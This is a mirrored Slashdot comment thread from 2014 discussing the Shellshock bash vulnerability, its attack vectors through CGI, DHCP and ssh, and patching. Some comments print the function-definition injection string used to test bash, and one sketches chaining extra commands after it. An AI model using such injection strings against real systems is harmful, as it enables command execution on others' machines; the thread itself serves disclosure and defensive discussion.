I am going to go out on a limb and say, if you are using CGI you are a dumbass and if you give anyone who you can't trust with ssh then you are also a dumbass. I don't think that I have configured a CGI serving machine since last millennia (literally).

Re:I am wrong but... by HJED · 2014-09-24 18:51 · Score: 1

Anything that uses bash is exploitable, another example of this being used is to gain root through the dhcp client...

--
null
Re:I am wrong but... by Xylantiel · 2014-09-25 06:24 · Score: 1

I think the problem is than any large PHP application is likely to execute something with a shell at some point. Any point is enough. This may slow down exploits, since you have to hunt for the corner case that executes a shell, but not much.
Re:I am wrong but... by Ankh · 2014-09-25 06:36 · Score: 1

Any program that's called via the CGI interface, regardless of programming language, is potentially vulnerable to this attack, because the Web server puts the environment variables in the process' environment and they'll inherit to sub-processes.
The ssh exploit can be ued to escalate privileges e.g. when used in a limited account such as github or remote CVS or backup.
DHCP is also vulnerable (remotely).
I don't think calling people names is helpful. Anything called via the CGI API is potentially vulnerable, as is anything that passes on environment variables or HTTP headers to sub-processes, regardless of what language was used to write those programs.

--
Live barefoot!
free engravings/woodcuts

/usr/bin/quisuis-je by tepples · 2014-09-24 13:59 · Score: 1

Would something like this work? "avoir && ln -s /usr/bin/whoami /usr/bin/quisuis-je && quisuis-je"

Re:/usr/bin/quisuis-je by BlackPignouf · 2014-09-24 19:47 · Score: 1

It's been corrected since, but yes, it would have worked.

Detailed info from RedHat by Beeftopia · 2014-09-24 14:02 · Score: 3, Informative

Example attacks are listed on Red Hat's security blog.

And a follow-up related unfixed bug in bash by paskie · 2014-09-24 14:32 · Score: 1

I'm sorry, I've meant to link to http://seclists.org/oss-sec/20... (you may want to walk the thread up a bit) and https://bugzilla.redhat.com/sh...

--
It's not the fall that kills you. It's the sudden stop at the end. -Douglas Adams

Only underscores the point by petrus4 · 2014-09-24 15:05 · Score: 1

While bash is by far my favourite UNIX shell, I've seen various bits of evidence that have indicated a need for major refactoring, for quite a while now. I would look into it myself, but there is always the risk that whatever changes I proposed would be rejected. Perhaps I should think about creating a fork, although that would be a lot of work.

Re:Only underscores the point by countach · 2014-09-25 01:15 · Score: 1

Well, the basic idea of bash, sh, or a unix shell is rather crufty. /bin/sh was already crufty what with its weird quoting rules and so forth before bash added all its extensions.
Nobody's really invented something yet as just damned convenient as /bin/sh, but I wish they would.

Re:Linux is just a full of holes as Windows by runningduck · 2014-09-24 17:04 · Score: 1

Just having Bash installed does not make a system vulnerable. In order for the system to be vulnerable you also need to provide a method for a remote party to pass an environment string to the Bash shell. This would typically be handled via CGI when the web server hands GET and POST data via an environment variable to a Bash script. I do not believe Apache call to Bash for launching a Perl based CGI script so the global attack surface should be pretty small. I do not think I have seen a Bash CGI script since the 90's.

--
-rd

Re: Full Disclosure can be found on oss-security.. by gweihir · 2014-09-24 17:16 · Score: 1

No.

--
Most ACs are not even worth the keystrokes to insult them. Be generically insulted by this and ignored otherwise.

Re:Maybe it has to do with spelling by gstoddart · 2014-09-24 17:19 · Score: 1

LOL ... I gather it was more like "mah-cro" and "mah-cro".

--
Lost at C:>. Found at C.

Who in their right mind ... by AftanGustur · 2014-09-24 20:48 · Score: 1

... is using bash scripts to generate web content in 2014?

Look, there is a bug, obviously, but to say that it is "remotely exploitable" is a half-truth, and that it is "on level with or worse than heartbleed" is nonsense.

There are a lot of things that need to "line up" in order for this to be remotely exploitable.

--
echo '[q]sa[ln0=aln80~Psnlbx]16isb572CCB9AE9DB03273snlbxq' |dc

Re:Who in their right mind ... by countach · 2014-09-25 01:13 · Score: 1

All that needs to line up is that there be cgi based bash scripts, which admittedly not everyone has, but plenty of people (for some strange reason) do have. You are underplaying this.

Not vulnerable by Aethedor · 2014-09-24 21:03 · Score: 1

It seems that the Hiawatha webserver is not vulnerable for this exploit, because it doesn't URL decode environment variables. Wise decision (CGI's seem to work fine without it) or just luck? Is there a standard which says that CGI environment variables should be URL decoded?

--
It doesn't have to be like this. All we need to do is make sure we keep talking.

Re:Not vulnerable by Aethedor · 2014-09-25 01:34 · Score: 1

Never mind my previous post. The weblog article has been changed, so the claim of not being vulnerable seems to be false.

--
It doesn't have to be like this. All we need to do is make sure we keep talking.

Re:Remote? Vulnerability? by ray-auch · 2014-09-24 21:53 · Score: 1

Two words - dhcp client. Think how it works on Linux.

Re:ksh also vulnerable? by kthreadd · 2014-09-24 23:03 · Score: 1

Take a look again at the command you just ran. You're still invoking bash.

Re:Really? Using bash for CGI? by ArsenneLupin · 2014-09-24 23:13 · Score: 2

The problem affects any CGI that *calls* bash, which means any call to system() in any language is going to cause a problem.

Nowadays, on most systems, /bin/sh is a proper Bourne Shell (either ash or dash), and no longer bash. So system() should no longer be an issue, but explicitly calling bash still would be...

Re:Linux is just a full of holes as Windows by armanox · 2014-09-24 23:18 · Score: 1

I was explaining it to someone (co worker) yesterday as the vulnerability is there, but there needs to be an attack vector open as well. My demo to him was on an SGI system running IRIX - Bash was vulnerable, but without AccetEnv in SSH being enabled or something like Apache CGI the exploit can't be used.

--
I'm starting to think GNU is the problem with "GNU/Linux" these days.

Two reactions by return+42 · 2014-09-24 23:37 · Score: 1

Earlier this week, there was much cursing in Ft. Meade. Today, there is much cackling in Calgary.

Seems fundamentally broken by countach · 2014-09-25 01:12 · Score: 1

Even if they fix the basic bug, which is that functions are exported as environment variables, but the function can be trailed with extra commands, the whole idea seems extremely dangerous to me. What if you define a function called ls or cp or some other common command? It's pretty likely something will call it, and the whole problem is back in play.

The bigger problem to me seems to be that cgi scripts export user parameters to environment variables before calling bash. I mean, bash itself as a cgi web handler seems incredibly dangerous already. Too powerful for this application. But to then have unvetted user defined environment variables? This is insane. There's plenty of blame to go around here.

Re:Seems fundamentally broken by jeremyp · 2014-09-25 03:19 · Score: 1

Exactly. This whole feature is ill conceived madness. For one thing it means that if I want an exported legitimate environment variable that starts with parentheses, I can't then use it in a forked bash session.
What were they thinking of?

--
All I want is a secure system where it's easy to do anything I want. Is that too much to ask ~~ Randall Munroe
Re:Seems fundamentally broken by Ankh · 2014-09-25 06:46 · Score: 1

This is a complete misunderstanding of what is going on.
"The bigger problem to me seems to be that cgi scripts export user parameters to environment variables before calling bash"
No, this is not what it is about at all.
The CGI specification says that the Web server (not CGi scripts) makes HTTP headers and request data available in environment variables.
Programs called through this interface (often called "index.cgi") are vulnerable *regardless* of what language was used to write them, because a lot of programs end up calling bash indirectly. And no, shell functions themselves are not the problem, so redefining cp or ls isn't going to happen in this way, it just happens to be a part of shell syntax with a bug in the parser in bash that also executes commands when it shouldn't.

--
Live barefoot!
free engravings/woodcuts

Re:would the "is fixed because i use something els by Per+Wigren · 2014-09-25 01:23 · Score: 1

Not updated in Debian Squeeze yet, though.

--
My other account has a 3-digit UID.

Re:Maybe it has to do with spelling by bobaferret · 2014-09-25 02:30 · Score: 1

what really sux, is that for most people, here in the southern part of the US, no matter how much they want to, they can't hear or speak the difference in pen vs. pin. That why we call them stick pins, and not just pins..

In other news... by sootman · 2014-09-25 02:40 · Score: 1

CMD.EXE -- bulletproof!

--
Dear Slashdot: next time you want to mess with the site, add a rich-text editor for comments.

ls -alh /bin/sh: /bin/sh - bash by raymorris · 2014-09-25 02:52 · Score: 1

/bin/sh is frequently a symlink to /bin/bash

# ls -alh /bin/sh
lrwxrwxrwx. 1 root root 4 Sep 24 12:47 /bin/sh -> bash

Re:Linux is just a full of holes as Windows by Ankh · 2014-09-25 04:11 · Score: 1

It also affects bash scripts called from programs run by CGI, so e.g. Perl, python, C, C++ programs using system(). Since environment variables are inherited by all subprocesses, it affects grandchildren, greatgrandchildren, and all the other sub-processes that get created all the way down.

Some scripting and programming languages use the shell to expand "glob" patterns, e,g,
$names = glob( "/tmp/[0-9]*" )
or in other places where it may not be obvious.

I'm not interested in comparing numbers of holes in different systems as it ony takes one hole for an intruder to get in.

--
Live barefoot!
free engravings/woodcuts

Re:Remote? Vulnerability? by ray-auch · 2014-09-25 04:53 · Score: 1

dhclient and dhclient-script

and yes, the target machines in that case would be laptops and mobile devices.

For servers, I have read elsewhere that cPanel at least is vulnerable. Not many servers using that, right ?

Re:aaa by ray-auch · 2014-09-25 05:33 · Score: 1

Bash 1.14.0, see http://web.nvd.nist.gov/view/v...

So, >20 years

Re:Remote? Vulnerability? by Ankh · 2014-09-25 06:42 · Score: 1

That you don't understand it doesn't mean it's not real.

Some people run a program called a "Web server" which listens on a network and runs programs based on requests it receives :-)

It's not about using bash for CGI scripts, although that's an obvious example. Some people use languages like Perl or python or even php (in CGI mode), or C, or Pascal, and all of those programs can be affected too, because they might use something like systm() or `...` or run an external program that in turn calls the shell, directly or indirectly.

Other services are also affected - ssh, dhcp, remote git, potentially even ftp and email although that seems less likely.

--
Live barefoot!
free engravings/woodcuts

ksh Version 11/16/88g on SCO 5.0.7 also vunerable by cslewis2007 · 2014-09-25 08:42 · Score: 1

When I execute: env x='() { :;}; echo vulnerable' bash -c "echo this is a test" on ksh under Sco unix 5.0.7 - it outputs vulnerable I'm not sure if ksh on other platforms would also be vulnerable (probably)

Re:ksh Version 11/16/88g on SCO 5.0.7 also vunerab by cslewis2007 · 2014-09-25 13:43 · Score: 1

I'm sorry, I overstated the issue. The command I typed still only exposes the issue in the bash program, not the ksh program. Setting the x=.... function and then invoking bash is an issue, but if you run: env x='() { :;}; echo vulnerable' ksh -c "echo this is a test" you don't see vulnerable, I'm sorry for the confusion.

CVE-2014-7169 has been fixed by InvisibleSoul · 2014-09-25 17:02 · Score: 1

At least for RedHat/CentOS, CVE-2014-7169 has been patched now as well. https://rhn.redhat.com/errata/...

Not all OSX versions affected by aNonnyMouseCowered · 2014-09-25 20:56 · Score: 1

"The (ancient) version of bash that ships with OS X appears vulnerable."

Some really ancient versions of OSX shipped not bash but tcsh, which was (is?) the NetBSD default shell. So who's going to write the anti-bash rebuttal to the famous "Top Ten Reasons not to use the C shell": http://www.grymoire.com/unix/C...

Re:When was this bash bug introduced? by kthreadd · 2014-09-25 22:09 · Score: 1

It's been in there since Bash 1.4.

Re: Full Disclosure can be found on oss-security.. by GameboyRMH · 2014-09-26 00:25 · Score: 1

Nope can't find any evidence that iPhones ship with a full bash install, but they do have the capability to run some bash commands.

--
"When information is power, privacy is freedom" - Jah-Wren Ryel

Re: Full Disclosure can be found on oss-security.. by Optali · 2014-09-26 02:50 · Score: 1

IIF the CGI script is bash based... and WTF do you mean by "binaries" ?

--
-- 29A the number of the Beast

Slashdot Mirror

Remote Exploit Vulnerability Found In Bash

256 of 399 comments (clear)